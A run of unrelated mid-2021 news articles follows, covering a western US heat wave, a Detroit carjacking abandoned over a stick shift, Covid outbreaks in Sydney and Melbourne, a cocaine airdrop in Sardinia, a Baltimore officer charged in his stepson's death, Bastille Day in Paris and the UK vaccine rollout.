The National Weather Service says the heat wave appeared to have peaked in many areas, and excessive-heat warnings were largely expired by Tuesday

The 10-day outlook calls for temperatures in most of the western United States to remain above average

The sweltering temperatures are being caused by a heat dome of static high-pressure hot air which traps the heat in one location

A study by a group of leading climate scientists found that the recent conditions would have been 'virtually impossible' without human-caused climate change.

The World Weather Attribution group said that global warming, caused by greenhouse gas emissions, made the June heat wave at least 150 times more likely to happen.

The scorching conditions saw the all-time record daily temperature broken three days in a row in British Columbia.

Last month was the hottest June on record in North America, according to data released by the European Union's climate monitoring service.

Human activity drove global temperatures up, stoking increasingly fierce storms, extreme heat waves, droughts and wildfires.

The World Meteorological Organization and Britain's Met Office said in May there was a 40 percent chance of the annual average global temperature temporarily surpassing 1.5 degrees above pre-industrial temperatures within the next five years.

The past six years, including 2020, have been the six hottest on record.
Surveillance footage captured the moment a group of thieves is forced to bail on an armed carjacking after discovering the car is actually a stick shift.

Detroit police are searching for three suspects who attempted to steal a 2006 blue Acura TSX around 8:30 p.m. on June 28.

Police said there were two victims sitting in the car when the armed men approached it and demanded the vehicle.

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Surveillance footage captured the three armed suspects forcing two people sitting in their vehicle to get out in an attempted carjacking in Detroit

Police said there were two victims sitting in the car when three armed male suspects approached them and demanded they turn over their vehicle

Nearby surveillance cameras captured the incident and the 20 seconds after the two passengers were forced from the vehicle. But the footage also shows the three bailing on their carjacking scheme and fleeing on foot, most likely because none of the men could drive a manual transmission, police said.

No one was hurt and the car was not damaged in the attempted carjacking.

The three suspects apparently were unprepared for the possibility they would encounter a manual vehicle, which are more and more rare in the United States leading to fewer people learning how to drive a stick.

The three men are caught on surveillance bailing on their carjacking scheme and flee on foot most likely because none of the men could drive the car

Detroit Police are searching for the three men who attempted to steal a 2006 Acura TSK

A study found that only 18 percent of Americans can drive a stick.

A report from U.S. News and World Report says that due to advancements in automatic transmissions and fuel economy, only about 5 percent of vehicles sold in the U.S. today come with a stick shift, down from 25 percent in 1987, CBS Minnesota reported.
Two brave Covid victims have given the world an insight into their suffering by allowing cameras to capture their fight for life inside a Sydney hospital's intensive care unit.

The two un-named men - one apparently under the age of 50 and one possibly in his 30s - are relying on vital oxygen supplies as they battle for every breath while the disease ravages their bodies.

Health experts agreed to the unprecedented media access in the hope the haunting images will help dispel the myth that only the elderly are hospitalised by Covid.

Two brave Covid victims have given the world an insight into their suffering by allowing cameras to capture their battle for life inside a Sydney hospital's intensive care unit (pictured)

Of the current 20 people in ICU across NSW in the current Covid outbreak, just five are aged over 70.

One is in their 20s, two are in their 30s, two in their 40s, five in their 50s, five in their 60s, three in their 70s and two are in their 80s. Four are on ventilators.

NSW Chief Health Officer Dr Kerry Chant slowly read out those chilling statistics at Wednesday's daily Covid briefing as the state recorded another 97 cases.

'The reason I take the time to read out those age profiles is really to dispel the misconception that Covid is mild in younger age groups,' she said.

'That is dispelling the notion that you are not going to get sick from Covid if you're young.

'You don't need to have an underlying health condition to be in hospital with Covid.

The two un-named men - one apparently under the age of 50 and one possibly in his 30s - rely on vital oxygen supplies as they fight for every breath while the disease ravages their bodies. Nurse Shaunagh Whelan is seen here tending to the younger patient

'Covid is a serious disease and is associated with hospitalisation and death.'

One in three of Sydney's Covid cases which required hospitalisation are now in intensive care, prompting Sydney's St Vincent's Hospital to allow cameras into its ICU.

'We are seeing a more diverse group of patients this time, with a disproportionate number of younger patients in ICU,' Dr Paul Preisz, medical director of St Vincent's emergency department in Darlinghurst told the SMH.

'It just seems like nobody is safe. Last year we saw older patients with high blood pressure and other existing conditions.

'But this time they are younger, with no medical problems. We are seeing a broader range of ages.'

In an accompanying video, the younger patient can be seen barely conscious as his diseased lungs rasp with every breath.

Nearby medical equipment is almost drowned out by the sound of his laboured breathing.

Monitors track his every heartbeat, blood pressure and breath as milling medics wrapped in personal protective equipment try to keep him comfortable and alive.

Two people - a man in his 70s and a woman in her 90s - have already died in this latest outbreak, the first in NSW this year, bringing the state's tally to 58 and the national death toll to 912 since the pandemic began last year.

Health experts agreed to the unprecedented media access to Sydney's St Vincent's Hospital in the hope the haunting images will help dispel the myth that only the elderly are hospitalised by Covid

The relentless spread of the disease caused Premier Gladys Berejiklian (pictured) to extend the Greater Sydney lockdown for another two weeks until July 30

The relentless spread of the disease, which has now seen 864 locally acquired cases in NSW since June 16, caused Premier Gladys Berejiklian to extend the Greater Sydney lockdown for another two weeks until July 30.

'It always hurts to say this, but we need to extend the lockdown for at least another two weeks,' she said.

'I appreciate people are stressed and upset about what is going on, myself included. None of us want to be in this situation.'
An Italian pilot who dropped eight and a half kilograms of pure cocaine from a plane on to someone's roof in a bungled drug handover has been arrested, police have said.

Francesco Rizzo, 28, a flight instructor from Rome, allegedly flung the 7million drug haul on to a house in Oristano, Sardinia, in March.

The flight instructor flew his light single-propeller plane at low altitude before dropping the canvas bag near the small village of Baratici San Pietro.

Flying high: An Italian pilot who dropped eight and a half kilograms of pure cocaine from a plane on to someone's roof in a bungled drug handover has been arrested, police have said

Francesco Rizzo, 28, a flight instructor from Rome, allegedly flung the 7million drug haul on to a house in Oristano, Sardinia, in March

The cocaine, when cut, would have risen to 80kg and would have a street value of around 6.8million

But instead of landing in the hands of traffickers, the drugs fell through the roof of an unsuspecting neighbour, breaking a solar panel in the process.

After hearing a loud bang, the homeowners called the police who were initially baffled at how the drugs ended up there.

The cocaine, when cut, would have risen to 80kg and would have a street value of around 6.8million, police said.

Investigators learned the Cessna had departed from Roma Urbe airport before making a stop at Monti della Tolfa airfield before heading to Sardinia.

But the plane disappeared from the radar once it was above the island for a period of 20 minutes while the pilot flew at low altitude for the drop-off.

Its GPS, later analysed by investigators, showed the plane had flown over villages in Oristano and had been photographed by CCTV.

Police said it is the first time they have heard of anyone attempting such an audacious drug handover

Police spent three months trying to track down Rizzo who also worked as a pilot for a Hungarian company, flying VIPs in private planes.

On Tuesday, he was arrested while making a stopover at Cagliari-Elmas airport on Sardinia on a flight from Germany.

Investigations are still ongoing to trace the other people involved in the drug trafficking network.

Police said it is the first time they have heard of anyone attempting such an audacious drug handover.
Melbourne has recorded no new local cases of Covid today, preventing the city being plunged into a fifth lockdown for the time being, but restrictions have been tightened.

From Thursday morning masks are once again compulsory indoors throughout Victoria as officials try to stem two outbreaks of the highly infectious Indian Delta variant transported into the state by two Sydney removalists and a returning family.

Victorian Premier Daniel Andrews and senior ministers met on Wednesday night and Thursday morning to discuss the possibility of a snap lockdown, but held off.

Instead, the 15-person gathering limit is set to be reduced and density limits in public places and venues are expected to be lowered.

Victoria, which suffered through a 112 day lockdown last year, officially recorded 10 locally-acquired cases on Thursday but they were all cases that had been announced on Wednesday.

There were no additional cases from the outbreak that was triggered by Sydney removalists, who travelled to Melbourne from Sydney's south-west, and a separate family.

This includes three teachers at two separate schools, one who caught the virus from an infected friend at an AFL game at the MCG on Saturday.

The stadium is among 31 new exposure sites flagged by Victorian health officials, as well as a Coles in Craigieburn where a shopper caught the virus from the infected family who had recently returned from Sydney.

A group of removalists, two infected with coronavirus, have sparked an outbreak in Victoria that leaves the state teetering on the edge of lockdown after visiting several venues and even travelling to South Australia

Eleven new infections were found in Melbourne's north and west on Wednesday from two separate outbreaks, both of which stem from NSW (pictured, a Melbourne local)

From 11.59pm on Wednesday, anyone aged over 12 in Victoria is required to wear a mask in all indoor settings, including secondary schools and workplaces, unless an exception applies.

Hospitality venues could also be affected with numbers slashed and the no standing while eating or drinking rule reinstated at bars, restaurants, clubs and functions.

This will mean dancing and singing in licensed venues could also be banned, but no firm decisions had been announced as of Wednesday night.

A teacher from Bacchus Marsh primary school is among the cases, having reportedly attended an AFL match between Carlton and Geelong at the MCG on Saturday, as well as the Young & Jackson hotel, with an infected friend who lives at the now locked-down Ariele Apartments in Maribyrnong.

So far, 2,000 footy fans who were at the clash on Saturday have been told to get tested and isolate.

DFU Uni Hill shopping centre (pictured) in Bundoora was revealed as an exposure site late on Wednesday night, after an infected case shopped at Nike, Adidas, Asics, Puma, Cotton On and Connor

What are the new Covid restrictions to hit Victoria? CONFIRMED FACE MASKS - From 11.59pm on Wednesday, anyone aged over 12 in Victoria will be required to wear a mask in all indoor settings, including schools and workplaces, unless an exception applies UNDER CONSIDERATION VISITORS TO THE HOME SLASHED - There is currently a cap of 15 people allowed to attend home gatherings, but it is expected that figure will be greatly reduced in an announcement on Thursday HOSPITALITY NUMBERS CUT - Hospitality venues could also be affected with numbers slashed and the no standing rule while eating or drinking to be reinstated at bars, restaurants, clubs and functions - This will mean dancing and singing in licensed venues could also be banned PROTOCOLS FOR COMMERCIAL AND FREIGHT OPERATIONS TIGHTENED - It is not yet clear what restriction will be brought in for interstate freight workers, but stricter check-ins, face masks and other protocols could be part of the announcement Advertisement

The man, aged in his 60s, is one of four residents of the apartment complex to test positive on Wednesday.

He also infected his parents, aged 89 and 90, who live in Craigieburn, and visited multiple stores at Highpoint Shopping Centre on Friday.

Bacchus Marsh Grammar has confirmed the infected teacher, a friend of the Ariele Apartments case, attended a staff day on Monday but had no contact with students on Tuesday or Wednesday.

He is understood to have infected two household contacts, one of whom is also a teacher at the same school.

Staff have been told to self-isolate and get tested, while the school's Woodlea and Maddingley campuses will be closed for the rest of the week.

Barwon Heads Primary School near Geelong has also been closed until further notice after a case of coronavirus was reported.

Another new case is a man in his 30s who attended Coles Craigieburn at the same time as a member of a family who recently returned from Sydney infected with Covid-19.

Millions of residents in Melbourne are bracing a new wave of Covid restrictions after two infected Sydney removalists transmitted the virus during a trip to Victoria last week (pictured, a woman in Melbourne)

The Ariele Apartments in Maribyrnong, Melbourne (pictured) is at the centre of a Covid outbreak after the infected Sydney removalists spent several hours there - spreading the virus to at least four people in two households

The family of four from Melbourne's northwest were required to self-isolate at home as red zone permit arrivals, but one visited the Coles and a Metro petrol station in Broadmeadows.

All have now tested positive, with the fourth infection - the second of their children - confirmed on Wednesday.

The Ariele Apartments outbreak is linked to a NSW removalist crew who did a pick up at the complex on Thursday while infectious, forcing some 200 residents into 14 days of lockdown.

The crew had the necessary travel permits to enter Victoria, but their movements are now under the microscope.

Covid-19 Commander Jeroen Weimar said the three removalists, two of whom have tested positive, weren't wearing masks.

Young & Jackson Hotel in Melbourne's CBD (pictured) has been flagged as an exposure site after a coronavirus-infected man from the Ariele Apartments dined there with a friend before a match at the MCG. That friend, a teacher, now also has the virus

Vic Health personnel wearing PPE enter Ariele Apartments in Maribyrnong (pictured) where infected Sydney removalists spread coronavirus to at least four residents

The trio also did a drop off at a Craigieburn home the same day, and are believed to have slept in their trucks on Thursday night before travelling to SA.

Mr Weimar said the next two days would be critical to stamp out the outbreaks.

'We are right on the heels of this particular outbreak,' he told reporters on Wednesday.

Two of the removalists have tested positive back in Sydney and the other remains in isolation.

HOW MELBOURNE'S TWO NEW COVID CLUSTERS BEGAN City of Hume, Craigieburn, cluster A family of four returning from New South Wales have all tested positive - a 40-year-old couple and their two children A 30-year-old man caught the virus from the family at Coles in Craigieburn Central Maribyrnong cluster Two Covid infected removalists spent four hours in the Ariele apartment complex Three people living in one apartment have since tested positive. Another 60-year-old man living in the building also caught Covid and has since passed the virus onto his parents, an 89-year-old and a 90-year-old The 60-year-old also spent time at the Young & Jackson hotel with a teacher from Bacchus Marsh primary school before going to the AFL match between Carlton and Geelong at the MCG on Saturday. The teacher has since infected two household contacts, one of whom is another teacher from the Bacchus Marsh school. Another teacher at Barwon Heads Primary School has also tested positive, bringing the locally-acquired infections in Victoria to 11. Advertisement

Poll Should these three removalists be punished if they broke Covid rules? Yes No Not sure Should these three removalists be punished if they broke Covid rules? Yes 1542 votes

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Covid requirements such as mask wearing and social distancing were reportedly not followed, and four people in the apartment building they went to have since tested positive.

This could be because of exemptions based on doing vigorous physical work, such as moving furniture.

The removalist crew set off from Covid-ravaged western Sydney on July 8 stopping at a Hungry Jacks and a Caltex service station in Kalkallo before dropping off a load of furniture to a home in Craigieburn on Melbourne's northern outskirts.

They then travelled to Maribyrnong in Melbourne's west to the third floor of the Ariele Apartments and picked up a set of furniture bound for Adelaide.

A Covid case went to the MCG (pictured) to watch the Carlton Blues versus Geelong Cats clash where he passed on the virus to a school teacher who has since transmitted the Indian Delta strain to two others

The infected removalists stopped at the Mobil service station in Ballan (pictured) during their interstate trip

Later that evening on July 8, the removalists left Melbourne and travelled to Ballan, near Ballarat where they visited a Mobil service station and a McDonald's for food and one had a shower.

The following morning, on July 9, they headed to McLaren Vale in Adelaide, where one of the crew was informed by NSW Health that they were a primary close contact of another positive case back in Sydney.

All three crew members then headed back to Sydney on July 10, but stopped off at a Shell service station in South Australia's Tailem Bend, and a Hungry Jack's in Marulan, NSW.

It was later that day one of the crew returned a positive test. Then on July 11, a second crew member was also confirmed to be infected.

The Hungry Jack's in Marulan in NSW (pictured) has been flagged as an exposure site after being visited by the men on their way back to Sydney

Barwon Heads Primary School near Geelong (pictured) has also been closed until further notice after a case of coronavirus was reported. It is not yet known which cluster this case is linked to

Mr Weimar said the information the trio gave to contact tracers was 'not as crisp and clear and consistent' as it should be, with two not believed to speak English.

'I don't have a complete accurate track in terms of exactly where they stayed,' Mr Weimar said.

'My understanding at this point in time is that they stayed in their cab as part of their protocols.

'Any other locations they may have stopped at we're still trying to track down definitively.'

Mr Weimar said the next two days would be critical to stamp out the outbreaks.

Residents currently under quarantine at the Ariel Apartment complex are seen on their balcony on Wednesday after being put into a strict lockdown and banned from leaving their homes

Meanwhile, Prime Minister Scott Morrison on Tuesday announced a new, joint state- and federally-funded support package for NSW due to the Sydney outbreak that has infected more than 800 people and claimed two lives.

The package will also be offered to other jurisdictions if they have to impose extended lockdowns.

Premier Daniel Andrews' office issued a statement on Tuesday night accusing the federal government of NSW favouritism, while federal Treasurer Josh Frydenberg said people were 'sick' of Mr Andrews' 'whingeing and his politicking of the crisis'.
A Baltimore cop has been charged with murder and child abuse one week after officers found his step-son's body in an upstairs access panel.

Eric Banks Jr., 34, has been in custody since July 6, after authorities said he tried to disarm a police officer following the discovery of Dasan Jones, 15, in a wall in his Curtis Bay loft.

Officers found bloody clothes nearby, they announced at a Wednesday news conference, where they announced that Dasan's death was ruled a homicide by asphyxiation.

In charging documents obtained by the Baltimore Sun, police wrote that Dasan also had injuries on his neck, face and mouth.

'Based on a combination of the evidence collected at the scene, the timeline of events, statements provided by Mr. and Ms. Banks, as well as the ruling of the [Office of the Chief Medical Examiner], there is sufficient evidence to demonstrate that Mr. Banks killed Dasan Jones and attempted to conceal his body from law enforcement,' Detective Kelly Harding wrote in a statement of probable cause.

Banks was charged with first and second-degree homicide as well as child abuse leading to death on Monday.

He had previously been charged with assault and resisting arrest, and was being held in protective custody as a potential suicide risk.

Police are still investigating the case, they said Wednesday, and are trying to determine a motive for Dasan's death.

Dasan Jones was found unresponsive in a hole in the wall of his family's Curtis Bay loft on July 6

Jones, 15, was the step-son of Eric Banks Jr., with whom his mother had two other sons

Court documents reveal his mother, Latrice, had filed for protective orders against Banks that would grant her custody of Dasan, and her two other sons, Evan and Tristan

Dasan's death reportedly came after two months of domestic violence complaints between Banks and his mother, according to the Sun.

In May, Banks filed for a protective order from his wife, accusing her of threatening him and making false complaints about him, the Sun reports, but he withdrew the petition two days later.

Then in June, Dasan's mother, Jacinda Banks, filed for protective order against her husband, saying he was stalking her and causing her 'emotional and mental abuse.'

In her petition, which would grant her custody of Dasan and her two other sons with Banks, Evan and Tristan, claimed he owns two guns, but a judge denied the order.

She again filed documents for another order of protection just hours before her son's body was found, according to documents obtained by WBFF.

'I am in fear for my life and well being because Eric Banks keeps trying to control, follow and emotionally abuse myself and my sons,' she wrote in the documents, which also claimed Banks had taken Dasan's phone and was texting her from it.

In one text, the Sun reports, Banks allegedly told Jacinda he saw her outside a hotel where she was staying.

The petition for that restraining order was granted, according to the Sun, after which she called the Anne Arundel Police Department to ask officers to check on Dasan.

Cops were initially told by Banks that Dasan had left the home in the 1400 block of Stoney Point Way in Curtis Bay, leaving his belongings behind

He reportedly granted them permission to search the home, where they found Dasan unresponsive in a hole in the wall

Police tried to render aid to Dasan until fire department personnel arrived on the scene

Officers report that they received a complainant from Jacinda, at 4.56pm last Tuesday.

In a press release, the officers said Banks initially told them the boy had left the home in the 1400 block of Stoney Point Way in Curtis Bay, leaving his belongings behind.

He allegedly consented to a search of his home, according to CBS Baltimore, where they found Dasan unresponsive in a 'hole in the wall with a white cover leaning on it,' according to charging documents obtained by DailyMail.com.

The documents say Banks told the officers that the hole was his 'gun safe.'

Officers said they tried to render aid to Dasan until they were relieved by fire department personnel.

After the discovery of the body, Banks reportedly asked to say goodbye to his two other sons.

He then became 'combative and tried to disarm an officer' by trying to take her Glock 17 handgun from her holster, Anne Arundel police said in the news release.

A distress call was sent out to fellow officers about an officer in trouble as she struggled to gain control of her weapon, Mulcahy said at the Wednesday news conference, adding that upon his arrest, Banks said: 'My life is over,' and begged for the officers to choke him.

Officers also said he told the female police officer she was 'gonna have to end this,' as he tried to grab her gun.

It took five other officers to safely arrest Banks, the Anne Arundel police department said.

It was not immediately clear when Dasan was declared dead.

Officers ruled Dasan's death a homicide by asphyxiation, with injuries to his neck, mouth and face, they announced Wednesday

The death was investigated by the state medical examiner's office

Banks had been a police officer for three years, receiving a gross pay of $88,933 during the 2020 fiscal year, the Sun previously reported, and had served in the United States Marines for 11 years, ultimately receiving the rank of sergeant before he was discharged in March 2018.

He had received several service awards and medals, after being deployed to Afghanistan three times, and served as a recruiter in his final year.

Banks had already been suspended from the Baltimore Police Department for a 'prior incident, CBS Baltimore reports, and is now suspended without pay.

His attorney, Warren Brown has previously asserted that Banks found Dasan dead in a bathtub and believed he had committed suicide.

At a bail hearing last Thursday, Assistant State Attorney Jason Miller said Banks admitted to moving Dasan's body 'from one location in the home and secreted it to another.'

'He has shown that he is not afraid to resort to violence,' Miller said.

Banks was ultimately denied bail that day.

Dasan was a magnet student at Glen Burnie High School and was an accomplished violin player, according to the Baltimore Sun

He was described as a quiet and kind boy

Dasan had just finished his freshman year as a magnet student at Glen Burnie High School, where he was enrolled in a biomedical program and played the violin.

'This was a young man with a bright future,' Police Chief Amal Awad said at the news conference on Wednesday, adding that her heart aches 'for his grieving mother and siblings.'

Dasan's funeral was held on Monday.

Friends have said he was a quiet and kind boy, who 'would not hesitate to help others,' according to Awad.

Kayla Wright, who went to school with Dasan, has started a GoFundMe on behalf of Latrice Banks.

'Hi, my name is Kayla I went to school with Dasan. He had such a good soul and it is such a tragedy that he had to leave us so soon and so young,' Wright wrote.

'I created this to help his family and his mother through this hard time. This is for his funeral expenses and extra cash for his family. I have used the platform I have to bring awareness to this tragedy and hope to raise the money to help as much as I and we can, thank you.'

She added: 'Justice will be served and you will finally be in peace.'

The fundraiser had surpassed its goal of raising $10,000 for the family by Tuesday, netting $11,987.

After news broke about Dasan's tragic passing, tributes started flowing in on social media.

Joseph Aposhian, who identified himself as Dasan's cousin, said he 'couldn't believe that the news was true.'

'And as I write these words, I can't help but ache, knowing that another beloved family member is gone too soon,' Apsohian wrote on Facebook. 'The only comfort being that I know I will see them all again someday. Dasan, I LOVE YOU.'

He continued: 'You weren't just my little cousin. You were family, my brother, and my closest friend.'

'I remember holding you on the day that you were born. We were almost 5 years apart to the day, and it made my world to know that I was gonna have my 1st cousin born so close to me. It was the greatest birthday present ever!!! And I knew from that moment, that we were gonna be best friends.'

Aposhian said that Dasan, who seemingly went by DJ, had 'forever changed' his life.

'Being an only child, I ALWAYS wanted a brother...and I never got that. But when you came, I didn't care anymore cuz you were much better,' Aposhian wrote.

'You made me feel like I mattered, and that I WASN'T alone. You played Hot Wheels with me. Swam together. Rode bikes together. Watched movies together.'

He added: 'You may have considered me your role model, but it was the other way around. I WILL ALWAYS LOOK UP TO YOU. I admire your Courage, your Honesty, your willingness to Speak Out, and your Vibrant Love for ALL.'
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France celebrated Bastille Day with thousands of troops marching in the Paris parade, warplanes roaring overhead and traditional parties around the country, after last year's events were scaled back because of virus fears.

The traditional parade returned to the Champs-Elysees after a one-year hiatus caused by the Covid-19 pandemic - and one soldier even used the occasion to propose to his girlfriend on the cobblestoned avenue, kneeling and kissing her hand.

Two horses stumbled in the final stages of the celebrations, throwing their Republican Guard riders onto the pavement, but overall the day's main event went according to plan.

Virus fears are still lurking, but France's government decided to go ahead with the parade anyway, as part of a broader effort to return to pre-pandemic activity.

The parade under grey skies and light rain was a scaled-down version of the usual event, with only 10,000 people in the stands instead of 25,000.

France celebrated its national holiday with thousands of troops marching down Champs-Elysees in Paris on Wednesday

European special forces involved in anti-jihadist operations in Africa's Sahel region (pictured) were given prime position in France's Bastille Day celebrations on Wednesday, in a sign of President Emmanuel Macron's military priorities

The traditional parade on France's national day returned to the Champs-Elysees after a one-year hiatus caused by the Covid-19 pandemic. Pictured: Republican Guard ride their horses during the Bastille Day parade

Alpha jets from the French Air Force Patrouille de France fly past Eiffel Tower during the Bastille Day celebrations

The holiday commemorates the storming of the Bastille prison in Paris on July 14, 1789, which marked the birth of the French Revolution. Pictured: Troops of the Chad regiment parade on the Champs-Elysees avenue during the Bastille Day parade on Wednesday

Pupils of the School of the French Nationale Gendarmerie officers (Ecole des officers de la Gendarmerie nationale) take part in the annual Bastille Day military parade

A Republican Guard falls from his horse during the Bastille Day parade after the horse stumbled on the ground

Soldiers drive armoured vehicles drive down on the Champs-Elysees avenue during the Bastille Day parade

One soldier even used the occasion to propose to his girlfriend on the cobblestoned avenue, kneeling and kissing her hand

What is Bastille Day? Bastille Day is the national day of France and is commemorated annually to mark the storming of the Bastille, a fortress in Paris used by the French monarchy as a political prison. On July 14, 1789, approximately 900 French citizens stormed the fort and ultimately captured it, dealing a devastating symbolic and strategic blow to the countrys monarchy and sparking the broader French Revolution which ultimately toppled the monarchy which had ruled the nation for centuries. While the years that followed the storming of the imposing fortress were very bloody and chaotic, it ultimately marked the turning point as France transitioned from monarchy to republic, something commemorated every year on the anniversary of the Bastilles seizure by the French people. Advertisement

The holiday commemorates the storming of the Bastille prison in Paris on July 14, 1789, which marked the birth of the French Revolution.

Spectators were restricted to a small section of the parade.

In addition, each person attending had to show a special pass proving they had been fully vaccinated, had recently recovered from the virus or a had negative virus test. Similar restrictions will be in place for those gathering to watch an elaborate fireworks show at the Eiffel Tower on Wednesday evening.

Spectators converged on Paris from around France, glad to be able to see the show in person even if frustrated with the restrictions and long lines for virus security checks.

'I came especially for my son who is marching today,' said Gaelle Henry from Normandy. 'It's nice to be able to get out a little bit and finally get some fresh air and think that all the people are here, and that we are getting back to normal a little bit.'

Masks were ubiquitous among the smaller-than-usual crowds along the avenue, and de rigueur for the dignitaries watching the parade under a red-white-and-blue awning emulating the French flag. The marching soldiers were unmasked - the French military said they have all been fully vaccinated or freshly tested for the virus.

European special forces involved in anti-jihadist operations in Africa's Sahel region were given prime position in the parade, in a sign of President Emmanuel Macron's military priorities.

Roughly 80 French and European special forces drawn from the multinational Takuba force in the Sahel led the procession on foot, a choice intended to send a diplomatic message from Paris.

Macron, who presided over the ceremony, announced a major drawdown of French troops in the Sahel region last month and is banking on his often reluctant European partners to send more troops to replace them.

Paris wants Takuba - which numbers only 600 troops currently, half of them French - to take over more responsibilities from the 5,100 soldiers in France's Barkhane operation, who have been battling Islamist groups in the Sahel for eight years.

French President Emmanuel Macron and French Armies Chief of Staff General Francois Lecointre stand in the command car as they review troops prior to the annual Bastille Day military parade

Organizers of this year's event dubbed it an 'optimistic Bastille Day' aimed at 'winning the future' and 'celebrating a France standing together behind the tricolor (flag) to emerge from the pandemic.' Pictured: The 1st Spahi Regiment stands next to armoured car AMX-10 RC prior to the the annual Bastille Day military parade

While that optimism was widely felt in France a few weeks ago, clouds have returned to the national mood as the delta variant fuels new infections and prompted Macron to announce new vaccine rules this week. Pictured: Members of the Republican Guard march in formation on the Champs Elysees prior to the Bastille Day parade

French President Emmanuel Macron (left) and French Armies Chief of Staff General Francois Lecointre (right) stand in the command car during the annual Bastille Day military parade

Troops of the Chad regiment parade on the Champs-Elysees avenue during the Bastille Day parade and are followed by thousands of troops

French President Emmanuel Macron meets with families of French soldiers at the end of the annual Bastille Day parade

The clatter of hundreds of horseshoes accompanied military music as uniformed guards on horseback escorted President Emmanuel Macron. Some cheers rose up from civilian onlookers as Macron rode past restaurants, luxury boutiques and movie theaters that were shuttered for much of the past year and a half.

But not everyone is cheering his handling of the pandemic. Some cafe owners, hospital workers and parents are pushing back against his decision this week to require all French health care workers to get vaccinated, and a special COVID pass for anyone over 12 going to a restaurant. Many doctors and scientists, meanwhile, urge tougher measures to contain the virus.

Organizers of this year's event dubbed it an 'optimistic Bastille Day' aimed at 'winning the future' and 'celebrating a France standing together behind the tricolor (flag) to emerge from the pandemic.' While that optimism was widely felt in France a few weeks ago, clouds have returned to the national mood as the delta variant fuels new infections and prompted Macron to announce new vaccine rules this week.

Leading the parade were members of a French-driven European force fighting extremists in Mali and the surrounding Sahel region. Macron announced last week that France is pulling at least 2,000 troops from the region because of evolving threats, and focusing more efforts on the multi-national Takuba force instead.

Among others honored at the parade were military medics who have shuttled vaccines to France's overseas territories, treated virus patients or otherwise helped fight the pandemic.

Mirage and Rafale fighter jets thundered past in formation. In the final moments of the parade, two horses stumbled, throwing their Republican Guard riders onto the pavement. The guards quickly brought the horses under control and led them away. The reason for the fall was unclear.

French President Emmanuel Macron reviews troops during the annual Bastille Day military parade

Pupils of the Special Military School of Saint-Cyr (Ecole speciale militaire de Saint-Cyr) march during the annual Bastille Day military parade

Macron speaks to his wife Brigitte Macron as they attend the military parade on Wednesday

Soldiers from the European Task force Takuba march during the annual Bastille Day parade. Roughly 80 French and European special forces drawn from the multinational Takuba force in the Sahel led the procession on foot, a choice intended to send a diplomatic message from Paris

Pupils of Saint-Cyr Coetquidan military academy hold swords as they march down the Champs-Elysees avenue

Just before the ceremony, a trainee soldier identified as Maximilien proposed to his girlfriend in a picturesque moment on the backdrop of the Arc de Triomphe, earning a round of hearty applause.

Amid delighted gasps from onlookers, the cadet, dressed in ceremonial uniform, dropped to his knee and briefly spoke to his girlfriend before placing a ring on her left hand, a video posted on the land army's Twitter account showed.

He then stood, lowered his face mask and kissed her, to cheers from members of the public and ranks of service personnel.

'It was a total surprise for her,' 26-year-old Maximilien told BFM TV, adding that he had planned the proposal for two months.

The young soldier's partner was allowed through a security cordon after the army learned of their comrade's intentions, a land army spokeswoman said.

'Everything is possible for our soldiers on the day of the #NationalDay. All our congratulations,' the army tweeted.

Shortly after the proposal, Macron rode down the boulevard in a military jeep during the celebrations.

The clatter of hundreds of horseshoes accompanied military music as uniformed guards on horseback escorted President Emmanuel Macron

Jets of the Patrouille de France fly over the Champs-Elysees avenue during the Bastille Day parade

A French armoured division takes part in the annual Bastille Day parade

Students of 'Ecole des Mousses' Naval school parade during the annual Bastille Day military parade

Brigitte Macron (R) meets the crowd at the end of the annual Bastille Day military parade

Republican Guard cavalry officers march during the annual Bastille Day military parade

Members of the French Civil Defence (Securite Civile) march during the annual Bastille Day military parade

French President Emmanuel Macron reviews troops during the annual Bastille Day military parade

French Army armoured vehicles arrive at Place de la Concorde during the annual Bastille Day military parade

Macron and his wife Brigitte spoke at length after the ceremony with families of troops killed or wounded in the line of duty. On the eve of the event, Macron reiterated his push for greater defense cooperation among European countries, and greater global defense efforts against Islamic extremists.

'This moment of conviviality, of reunion... is first and foremost for us the opportunity to address our brothers in arms and their families, and give them a message of gratitude,' Macron said.

Last year's parade was canceled and replaced by a static ceremony honoring health care workers who died fighting COVID-19. France has lost more than 111,000 lives overall to the pandemic.

This year's event could be the last for 43-year-old Macron, who will finish a five-year term in April next year.

He is expected to seek re-election, however.

It will be the last for outgoing defence chief-of-staff Francois Lecointre, who looked emotional as he greeted Macron before reviewing the troops.

'There's a continual decline of order in the world,' he told Le Monde newspaper on Saturday, referring to actions by Russia, Turkey and Iran, as well as terror groups such as Islamic State in the Middle East and in Africa.

Alongside the traditional pageantry, fireworks displays and celebrations of Bastille Day, the southern Riviera town of Nice will mark the fifth anniversary of a terror attack that cost the lives of 86 people.

Prime Minister Jean Castex will visit the city for a ceremony at the site of a memorial for the dead, who were killed by a Tunisian man who drove a truck into crowds watching fireworks.

City authorities have organised a concert and 86 beams of light will illuminate the Mediterranean waterfront to honour the dead at 10:34 pm, the time of the start of the truck rampage.
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Britain has steamed through its Covid vaccination goal five days early, with two-thirds of adults now having had both doses.

Government data shows 35.16million over-18s (66.7 per cent) are fully-vaccinated. Around 46.04million (87.4 per cent) have had their first jab.

Boris Johnson trumpeted the milestone  which ministers wanted to hit by 'Freedom Day'  as 'extraordinary' and heaped praise on ordinary Britons for putting their faith in the vaccines.

The Prime Minister said: 'Thank you again to everyone coming forward, and to those helping others to get jabbed. You are the reason we are able to cautiously ease restrictions next week, and return closer towards normal life.'

Newly-appointed Health Secretary Sajid Javid heralded reaching the target early as a 'huge achievement' for the vaccine roll-out.

Ministers had aimed to get two doses to at least two in three adults by July 19, when most remaining restrictions in England are set to be eased.

Everyone over the age of 18 has already been offered the chance to get vaccinated.

No10's top advisers are mulling over halving the gap between shots to four weeks amid mounting concern the country may have finally hit 'maximum uptake'.

The space between doses has already been reduced to eight weeks, and scientists fear any further reduction could result in people getting substandard immunity from the jabs compared to those who waited for longer.

NHS England figures show another 124,905 second doses have been dished out, bringing the total number of Brits jabbed to 35.1million, or 66.6 per cent. Health chiefs will publish updated figures later today that will also include inoculations in Scotland, Wales and Northern Ireland

Boris Johnson (pictured leaving Downing Street today) heralded the milestone as 'extraordinary' and said it was thanks to millions of Britons turning up for vaccines that restrictions could be 'cautiously' lifted on July 19. Health Secretary Sajid Javid (pictured arriving at Downing Street today) said it was a 'huge achievement'

